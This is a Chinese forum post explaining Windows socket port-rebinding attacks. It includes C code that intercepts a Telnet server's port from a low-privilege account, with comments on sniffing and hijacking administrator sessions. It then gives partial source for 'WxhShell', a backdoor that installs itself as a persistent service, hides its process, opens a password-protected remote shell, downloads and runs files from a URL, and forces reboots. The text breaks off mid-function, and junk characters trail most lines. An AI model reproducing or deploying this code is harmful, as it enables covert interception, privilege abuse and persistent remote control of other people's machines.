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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ',pPs=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); < n{9pZ5.  
jBbc$|O4SY  
  saddr.sin_family = AF_INET; ,<7f5qg "'  
v*LL7b0 A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )FLpWE"e-  
cS"6%:hQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m/AN*` V  
Wwz{98,K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @ 2_&ti  
I_rVeMw=  
  这意味着什么?意味着可以进行如下的攻击: 4dP_'0]9A:  
zqkmsFH{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MNzq}(p  
y (A"g3^=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \q>,c49a{  
M*N8p]3Cq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "oQ@.]-#  
m[f\I^ \%8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5cU8GgN`  
By9/tB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *bx cq  
;1nd~0o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jX%Q  
vh C"f*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =3'wHl  
79v&6Io  
  #include Sa0\9 3oa  
  #include sIpK@BQ'  
  #include Evc 9k  
  #include    =6$(m}(74  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5eYCnc9  
  int main() `6/7},"9t  
  { Sv ,_G'  
  WORD wVersionRequested; .JqIAC~  
  DWORD ret; ":Q^/;D}U  
  WSADATA wsaData; \3l;PY  
  BOOL val; ;3!TOY"j;e  
  SOCKADDR_IN saddr; 8c9_=8vw  
  SOCKADDR_IN scaddr; h4/rw fp^  
  int err; c1`o3gb  
  SOCKET s; .jCdJ =z  
  SOCKET sc; Z8x(_ft5  
  int caddsize; )JPcSy*  
  HANDLE mt; z)26Ahm TV  
  DWORD tid;   zri<'W  
  wVersionRequested = MAKEWORD( 2, 2 ); Ah,Zm4:  
  err = WSAStartup( wVersionRequested, &wsaData ); U;(&!Ei  
  if ( err != 0 ) { W +S>/`N  
  printf("error!WSAStartup failed!\n"); cH#` f4  
  return -1; UX?_IgJh<"  
  } /mb| %U]~  
  saddr.sin_family = AF_INET; -+L1Hid.7  
   +m1edPA[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZA!vxQ?P,  
T<OLfuV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m*'#`vIbb  
  saddr.sin_port = htons(23); ?$ 3=m)s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {E9Y)Z9  
  { &(K*TB|Om  
  printf("error!socket failed!\n"); 7 MfpZgC  
  return -1; SbB5J> >7J  
  } *}?^)z7w  
  val = TRUE; R\<^A~(Gl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  np~oF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =$m|M m[a  
  { th]9@7UE,  
  printf("error!setsockopt failed!\n"); O:#to  
  return -1; (]ORB0kl  
  } !v^D j']  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W>"i0p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C}Khh`8@5.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P"- ,^?6  
k,r\^1h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?znSA >  
  { "^u|vCqw  
  ret=GetLastError(); a9"Gg}h\  
  printf("error!bind failed!\n"); TPkm~>zD.  
  return -1; MP T[f  
  } 'Ct+0X:D  
  listen(s,2); Abj`0\  
  while(1) /_LUys/0  
  { 0n1y$*I4  
  caddsize = sizeof(scaddr); ?^yZVmAo]  
  //接受连接请求 2qN6{+]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [E=t{&t  
  if(sc!=INVALID_SOCKET) r:u5+A  
  { 7Npz {C{I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Gs-'  
  if(mt==NULL) wZ *m  
  { Chjth"  
  printf("Thread Creat Failed!\n"); /P,J);Y  
  break; #j@Su )+  
  } ]e+S~me  
  } -PxA~((g5  
  CloseHandle(mt); `/#6k>  
  } B&tl6?7h  
  closesocket(s); s7=]!7QGS!  
  WSACleanup(); rQ/S|gG  
  return 0; %[RLc[pB  
  }   #.) qQ8*(  
  DWORD WINAPI ClientThread(LPVOID lpParam) TVKuvKH8U  
  { Jln dypE  
  SOCKET ss = (SOCKET)lpParam; *!Xhy87%Z)  
  SOCKET sc; Vk[m$  
  unsigned char buf[4096]; Q~uj:A]n<  
  SOCKADDR_IN saddr; V" I+E  
  long num; M,6m*  
  DWORD val; .4U::j}  
  DWORD ret; i5|!M IY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pi+m`O   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C7,Ol0`v  
  saddr.sin_family = AF_INET; "M2HiV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); voCQ_~*)9  
  saddr.sin_port = htons(23); MLaH("aen  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <1V!-D4xu  
  { kyz_r6  
  printf("error!socket failed!\n"); s`en8%  
  return -1; oU|_(p"e|  
  } FQ>y2n=<d  
  val = 100; k$|g)[RE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K5HzA1^  
  { xW|8-q  
  ret = GetLastError(); 9aBz%* xo  
  return -1; 0Ibe~!EiQJ  
  } @E4ya$A)F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !u;gGgQF  
  { .I0M'L~!/L  
  ret = GetLastError(); BvS!P8  
  return -1; }wZsM[NDB  
  } lnGg1/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wf_ $#.;m  
  { J1w,;T\55  
  printf("error!socket connect failed!\n"); G- |  
  closesocket(sc); 8 ,W*)Q  
  closesocket(ss); RI<&cgWn+<  
  return -1; CfT(a!;Eox  
  } %~:@}C%A  
  while(1) #^tnRfS"  
  { P%;lHC #i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,Jx.Kj.,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EE*|#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F:sUGM,  
  num = recv(ss,buf,4096,0); Zrzv';  
  if(num>0) 26p_fKY  
  send(sc,buf,num,0); m%nRHT0KAf  
  else if(num==0) 6~l+wu<$  
  break; Uz=o l.E  
  num = recv(sc,buf,4096,0); kjDmwa+91T  
  if(num>0) 2FY]o~@  
  send(ss,buf,num,0); d@tf+_Ih  
  else if(num==0) o;21|[z  
  break; \E'z+0  
  } 8|nc( $}~  
  closesocket(ss); 5j v*C]z  
  closesocket(sc); -q(*)N5.2  
  return 0 ; FOteN QTj  
  } +-T|ov<  
nvA7eTO6C  
$1FnjL5u  
========================================================== gD;T"^S+  
CfVL'  
下边附上一个代码,,WXhSHELL ,g4T>7`&U%  
~Kl"V% >  
========================================================== qDqy9u:g  
=:t<!dp  
#include "stdafx.h" O0s,)8+z5D  
mmG]|Cl@  
#include <stdio.h> Xpv<v[a  
#include <string.h> hUX8j9N>  
#include <windows.h> 7H|0.  
#include <winsock2.h> 7VskZbj\  
#include <winsvc.h> ?a*w6,y.  
#include <urlmon.h> "Pu917_P  
M`7[hr  
#pragma comment (lib, "Ws2_32.lib") #K*p1}rf  
#pragma comment (lib, "urlmon.lib") @ 'c(q=K;  
Qn~{TZz  
#define MAX_USER   100 // 最大客户端连接数 l5]R*mR  
#define BUF_SOCK   200 // sock buffer &gr  T@  
#define KEY_BUFF   255 // 输入 buffer (zxL!ZR<  
eA{A3.f"Hz  
#define REBOOT     0   // 重启 Anqt:(  
#define SHUTDOWN   1   // 关机 <FAbImE}  
{NcJL< ;tS  
#define DEF_PORT   5000 // 监听端口 @4KKm@(p85  
hTWZIW@  
#define REG_LEN     16   // 注册表键长度 neE Zw#(Z  
#define SVC_LEN     80   // NT服务名长度 $5\!ws<cZ  
lHPnAaue@  
// 从dll定义API Y+kuj],h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qmb+%z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )T?BO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t,'J%)j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [mNum3e  
,L<x=Dg  
// wxhshell配置信息 & P%#  
struct WSCFG { N"tX K  
  int ws_port;         // 监听端口 4^k8| # c  
  char ws_passstr[REG_LEN]; // 口令 D=Nt 0y  
  int ws_autoins;       // 安装标记, 1=yes 0=no s&+`>  
  char ws_regname[REG_LEN]; // 注册表键名 :;TF_S v  
  char ws_svcname[REG_LEN]; // 服务名 Yakrsi/jV}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F>^KXq:Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3sIdwY)ZS_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z\]LG4N?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OoRg:"9{#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /;:4$2R(;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B5h)F> &G  
f:y:: z  
}; Z0O0Q=e\Y  
I,05'edCQ  
// default Wxhshell configuration XD?]+  
struct WSCFG wscfg={DEF_PORT, -e?n4YO*\  
    "xuhuanlingzhe", mey -Bn  
    1, @HnahD  
    "Wxhshell", [Jjo H1E@  
    "Wxhshell", ;49sou  
            "WxhShell Service", #c"05/=A  
    "Wrsky Windows CmdShell Service", keKsLrd  
    "Please Input Your Password: ", PR AP~P&^  
  1, 3RI6+Cgmn  
  "http://www.wrsky.com/wxhshell.exe", ?' mP`9I  
  "Wxhshell.exe" EZVgTySd  
    }; A[`c+&  
QNv5CQ&  
// 消息定义模块 .QA1'_9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O3d Qno  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tNOOaj9mw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ()$m9%x  
char *msg_ws_ext="\n\rExit."; 4PR&67|AH_  
char *msg_ws_end="\n\rQuit."; m(1ot M9  
char *msg_ws_boot="\n\rReboot..."; 7|bBC+;(  
char *msg_ws_poff="\n\rShutdown..."; 33a}M;vx  
char *msg_ws_down="\n\rSave to "; ^ 5>W`vwp  
Oml /;p  
char *msg_ws_err="\n\rErr!"; J-azBi  
char *msg_ws_ok="\n\rOK!"; ep`8LQf  
EG_P^ <z  
char ExeFile[MAX_PATH]; 2#CN:b]+  
int nUser = 0; >MhZ(&iD  
HANDLE handles[MAX_USER]; ,6f6r  
int OsIsNt; [Z;H= `  
h Y *^rY'  
SERVICE_STATUS       serviceStatus; muBl~6_mb2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )(1tDQ`L>  
^)$T`  
// 函数声明 <]#_&Na  
int Install(void); zxd<Cq>d  
int Uninstall(void); nJ1<8 p  
int DownloadFile(char *sURL, SOCKET wsh); :9q|<[Y^  
int Boot(int flag); sebuuL.l0<  
void HideProc(void); =+<DNW@%  
int GetOsVer(void); ?i!d00X  
int Wxhshell(SOCKET wsl); V=PK)FJ  
void TalkWithClient(void *cs); m1tc="j  
int CmdShell(SOCKET sock); N[DKA1Ei  
int StartFromService(void); ymR AQVv  
int StartWxhshell(LPSTR lpCmdLine); us<dw@P7{  
M?n}{0E4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;L$l0(OO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >Il{{{\>  
5twG2p8  
// 数据结构和表定义 U D5hk  
SERVICE_TABLE_ENTRY DispatchTable[] = |y?W#xb  
{ EU Oa8Z  
{wscfg.ws_svcname, NTServiceMain}, O\@0o|NM  
{NULL, NULL} `V*$pHo  
}; q'Y)Y(d  
nA=E|$1  
// 自我安装 Qi9M4Yv  
int Install(void) ws,VO*4  
{ 1vq c8lC  
  char svExeFile[MAX_PATH]; :&RpB^]  
  HKEY key; =#%Vs>G  
  strcpy(svExeFile,ExeFile); =trLL+vGw'  
"M %WV>  
// 如果是win9x系统,修改注册表设为自启动 e4.G9(  
if(!OsIsNt) { G?:5L0g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |4` ;G(ta  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !\\1#:*_W  
  RegCloseKey(key); Z[\nyj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K#y CZ2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i*+N[#yp  
  RegCloseKey(key); ^c){N-G  
  return 0; VlxHZ  
    } 1{h,LR  
  } i/,IG+4vI  
} I5rAL\y-G  
else { $n::w c  
U {9yfy  
// 如果是NT以上系统,安装为系统服务 E/>kvs%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -TNb=2en(  
if (schSCManager!=0) o& ?:pE  
{ j[fY.>yt&  
  SC_HANDLE schService = CreateService V24FzQ?z:.  
  (  ;W@  
  schSCManager, v%E!  
  wscfg.ws_svcname, /@LUD=  
  wscfg.ws_svcdisp, ^4a|gc  
  SERVICE_ALL_ACCESS, ^'hh?mL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v)v`896S`  
  SERVICE_AUTO_START, e:n3@T,R  
  SERVICE_ERROR_NORMAL, YH0utc  
  svExeFile, ;k,#o!>  
  NULL, Pbakw81!~  
  NULL, nh/%0=S  
  NULL, oJ0ZZu?{D  
  NULL, QG;V\2T2[  
  NULL zj#8@gbh+  
  ); 5R*55@)  
  if (schService!=0) VCvFCyAz  
  { S&Sa~Oq<o  
  CloseServiceHandle(schService); [CG*o>n&|  
  CloseServiceHandle(schSCManager); aq.Lnbi/X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p}yp!(l  
  strcat(svExeFile,wscfg.ws_svcname); W7q!F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PO]c&}/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l9F]Lw  
  RegCloseKey(key); <io;d$=}  
  return 0; p-2PC{% t|  
    }  I8  
  } rSNaflYAr  
  CloseServiceHandle(schSCManager); /jd.<r=_I  
} $ I|K<slV  
} HD8*>p.  
kD_616  
return 1; Q>l5:2lq  
} 2NZC,znQ  
crr#tad.  
// 自我卸载 A=\:b^\  
int Uninstall(void) YiTVy/  
{ Bx ru7E"  
  HKEY key; ECLQqjB  
*T0!q#R  
if(!OsIsNt) { }/.GB5Ej  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > ZKHjw  
  RegDeleteValue(key,wscfg.ws_regname); [D<"qT^*z6  
  RegCloseKey(key); `(lD]o{,s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZRj&k9D^U  
  RegDeleteValue(key,wscfg.ws_regname); :Wd@Qy?;  
  RegCloseKey(key); K]C@seF`  
  return 0; +YCKd3/  
  } nlR7V.  
} ]5:0.$5  
} lD@`xq.M;  
else { 9{XV=a v  
uu;1B.[b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H{VJ S Jc{  
if (schSCManager!=0) nn{PhyK  
{ j5bp)U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [^ eQGv[S  
  if (schService!=0) d9.~W5^fC  
  { 9]PMti  
  if(DeleteService(schService)!=0) { Hm 17El68  
  CloseServiceHandle(schService); N7mYE  
  CloseServiceHandle(schSCManager); L_Lhmtm}m  
  return 0; @$!rgLyL[  
  } Q;y)6+VU4  
  CloseServiceHandle(schService); o'Kl+gw4  
  } Gq0`VHAn  
  CloseServiceHandle(schSCManager); 4~Jg\@  
} i{4J$KT  
} `tEW.s%Y(6  
*8I &|)x  
return 1; Vl%UT@D|  
} ytyB:# J  
eizni\  
// 从指定url下载文件 tM3Q;8gB!  
int DownloadFile(char *sURL, SOCKET wsh) sz+%4T  
{ !6*m<#Qm  
  HRESULT hr; /xw}]Fa5  
char seps[]= "/"; 9oTtH7%  
char *token; *dPG[ }  
char *file; e^yfoE<7  
char myURL[MAX_PATH]; Tga%-xr+  
char myFILE[MAX_PATH]; 't3&,:Y  
_o'a|=Osx>  
strcpy(myURL,sURL); ~+CEek  
  token=strtok(myURL,seps); FG)(,?q  
  while(token!=NULL) aXh~w<5F  
  { $tB `dDj  
    file=token; tx,q=.(  
  token=strtok(NULL,seps); =;~*YD(%/  
  } sMgRpem;  
) m(!lDz3  
GetCurrentDirectory(MAX_PATH,myFILE); usR+ZQaA  
strcat(myFILE, "\\"); `CY c>n"  
strcat(myFILE, file); R^&.:;Wi>  
  send(wsh,myFILE,strlen(myFILE),0); KtD XB>  
send(wsh,"...",3,0); ,ut7`_Fy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !24PJ\~I  
  if(hr==S_OK) u{LtyDnik  
return 0; U<I]_]  
else cyBm,!  
return 1; /z`.-D(  
pch8A0JAl)  
} Q PrP3DK  
X"g`hT"i  
// 系统电源模块 ti!kJ"q  
int Boot(int flag) -8:/My  
{ ]DjnzClx  
  HANDLE hToken; HsKq/Oyk  
  TOKEN_PRIVILEGES tkp; %\T#Ik~3  
aRy" _dZ2  
  if(OsIsNt) { PFjh]/=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {$Z S 2 7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3v ~[kVhoG  
    tkp.PrivilegeCount = 1; :QIf0*.O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V-dyeb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N"s"^}M\  
if(flag==REBOOT) { @]etW>F_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S/dj])g  
  return 0; z||FmL{  
} Q7-'5s   
else { Hi nJ}MF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T_[  
  return 0; |_OoD9,M  
}  E]W :  
  } >4bWXb'S}C  
  else { O Ke 9/._  
if(flag==REBOOT) { !uP8powO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AnoA5H  
  return 0; kn+@)3W:*  
} ;?C`Jag x  
else { +/ ?oyC+Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) baGV]=j  
  return 0; ;@qQ^!g2  
} duc\/S'  
} ET(/h/r  
Wr`<bLq1vs  
return 1; ; W$.>*O  
} 5w5"rcV  
G "ixw  
// win9x进程隐藏模块 4lI&y<F  
void HideProc(void) Bf;<3k)5.  
{ :XOjS[wBm  
8X/SNRk6p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F~/~_9RJ  
  if ( hKernel != NULL ) JFq<sY!  
  { BwAmNW&i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P MI?PC[;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N{<5)L~Y  
    FreeLibrary(hKernel); pZ]&M@Ijp  
  } `5n^DP*X  
@u`m6``T  
return; [AYJ(H/  
} "]W,,A-  
r@PVSH/  
// 获取操作系统版本 7!;zkou  
int GetOsVer(void) 0}M'>  
{ $ago  
  OSVERSIONINFO winfo; .g94|P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T8^l}Y B  
  GetVersionEx(&winfo); uX6p^KNm5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v1/Y0  
  return 1; Q_dMuoI  
  else 0IZF%`  
  return 0; r.c:QY$  
}  Hs6Kki1  
zjSHa'9*  
// 客户端句柄模块 _Ud!tK*H  
int Wxhshell(SOCKET wsl) (B%[NC 6  
{ `aA)n;{/2u  
  SOCKET wsh; (M{>9rk8  
  struct sockaddr_in client; 3J8M0W   
  DWORD myID; +G+1B6S  
Cxe(iwa.  
  while(nUser<MAX_USER) C=2DxdZG  
{ \jZ)r>US"  
  int nSize=sizeof(client); >CwI(vXn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2B5Ez,'#x  
  if(wsh==INVALID_SOCKET) return 1; )`6OSB  
f{u S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oE2VJKs<B  
if(handles[nUser]==0) =5:S"WNj  
  closesocket(wsh); '8FHn~F  
else ;P$ _:-C  
  nUser++; tI5*0  
  } K /%5\h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B>sQcZ:  
J*m7 d4^  
  return 0; ?{xD{f$  
} ?mN!9/DIc  
K3h"oVn  
// 关闭 socket {,?Gj@$  
void CloseIt(SOCKET wsh) 'I:_}q  
{ f1?%p)C  
closesocket(wsh); F? ps? e  
nUser--; T_#8i^;D  
ExitThread(0); EQX<<x"  
} <GLoTolZ  
m\E=I5*/  
// 客户端请求句柄 P>^$X  
void TalkWithClient(void *cs) A,(9|#%L  
{ UMT}2d%  
E`{DX9^  
  SOCKET wsh=(SOCKET)cs; {xOzxLB;  
  char pwd[SVC_LEN]; C5jt(!pi  
  char cmd[KEY_BUFF]; Y kvEQ=  
char chr[1]; l.Z+.<@  
int i,j; y,@yaM}-/K  
}lCQ+s!  
  while (nUser < MAX_USER) { M(uJ'Ud/!  
&JD^\+7U:  
if(wscfg.ws_passstr) { ed`7GZB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *P&lAyt6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <*P)"G  
  //ZeroMemory(pwd,KEY_BUFF); ?_ v_*+b_  
      i=0; 9xE_Awlc85  
  while(i<SVC_LEN) { zAev@+.ld  
{xTh!ih2 -  
  // 设置超时 oq b(w+<  
  fd_set FdRead; =kzHZc  
  struct timeval TimeOut; kV8qpw}K  
  FD_ZERO(&FdRead); !f}D*8\f  
  FD_SET(wsh,&FdRead); ;ZMIYFXRqh  
  TimeOut.tv_sec=8; '-$cvH7_  
  TimeOut.tv_usec=0; %*Vr}@BA)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hw6 2'%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W@zu N)U  
= H}x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ll VbY=EX7  
  pwd=chr[0]; "v0SvV<7  
  if(chr[0]==0xd || chr[0]==0xa) { qv |}>wU  
  pwd=0; H\a\xCP3  
  break; ^g"p}zf L"  
  } &qIdT;^=I  
  i++; |$+/IxDP  
    } JxEz1~WK &  
Dd-a*6|x  
  // 如果是非法用户,关闭 socket ,4B8?0sH|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /;!I.|j  
} ZCMH?>  
NJ;m&Tm,DF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {.DY\;Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :h!'\9   
\MPbG$ ^  
while(1) { Lr= ^0  
Y0m?ZVt  
  ZeroMemory(cmd,KEY_BUFF); 2uV5hSHYe  
'tU\~3k  
      // 自动支持客户端 telnet标准   9E0x\%2K  
  j=0; oq|`;k   
  while(j<KEY_BUFF) { 2vb qz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SUW=-M  
  cmd[j]=chr[0]; rp2g./2  
  if(chr[0]==0xa || chr[0]==0xd) { -lAY*2Jg  
  cmd[j]=0; nHp(,'R/  
  break; r:4]:NKCi  
  } 4gUx#_AaG  
  j++; ~[~#PO  
    } @O-\s q  
c++q5bg@)  
  // 下载文件 !,]c}Y{i  
  if(strstr(cmd,"http://")) { Cb.M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ww#!-,*]o  
  if(DownloadFile(cmd,wsh)) 4x@W]*i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y0/FyQs  
  else 9wO2`e )  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z+[W@5q  
  } D(&WEmm\B  
  else { W"CG&.  
f&RjvVP?s  
    switch(cmd[0]) { gr{*wYL  
  Y> ~jho  
  // 帮助 XD_!5+\H1  
  case '?': { ?[Ma" l>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OPogH=vf  
    break; B ?y[ %i  
  } qEl PYN*wF  
  // 安装 ?du*ITim  
  case 'i': { !- 5z 1b)  
    if(Install()) !;hp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}:U'zlC{  
    else m| 7v76(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a0Fq$  
    break; Fdq5:v?k  
    } $+Z2q<UT  
  // 卸载 6E^9>  
  case 'r': { aVr=7PeF  
    if(Uninstall()) DnW/q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LB}J7yEQvj  
    else b.kV>K"X3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q(1hY"S"}b  
    break; 2 &_>2"=<@  
    } raU_Z[  
  // 显示 wxhshell 所在路径 }1lZW"{e[  
  case 'p': { c"t&,OU:  
    char svExeFile[MAX_PATH]; :m/qR74+"  
    strcpy(svExeFile,"\n\r"); JLjs`oq h  
      strcat(svExeFile,ExeFile); @,]W  
        send(wsh,svExeFile,strlen(svExeFile),0); }nO%q6|\V  
    break; /V#? d  
    } ,Ik~E&Ku2'  
  // 重启 pEX Q  
  case 'b': { I }8b]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <p2\;\?4z  
    if(Boot(REBOOT)) D>Rlm,U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BqdpJIr  
    else { }"v#_vJfz7  
    closesocket(wsh); 8qxZ7|Y@  
    ExitThread(0); \%V !& !'  
    } ua_,c\iL  
    break; t3K9 |8<  
    } j7NOYm5N  
  // 关机 :/t_5QN  
  case 'd': { Ol|fdQ  
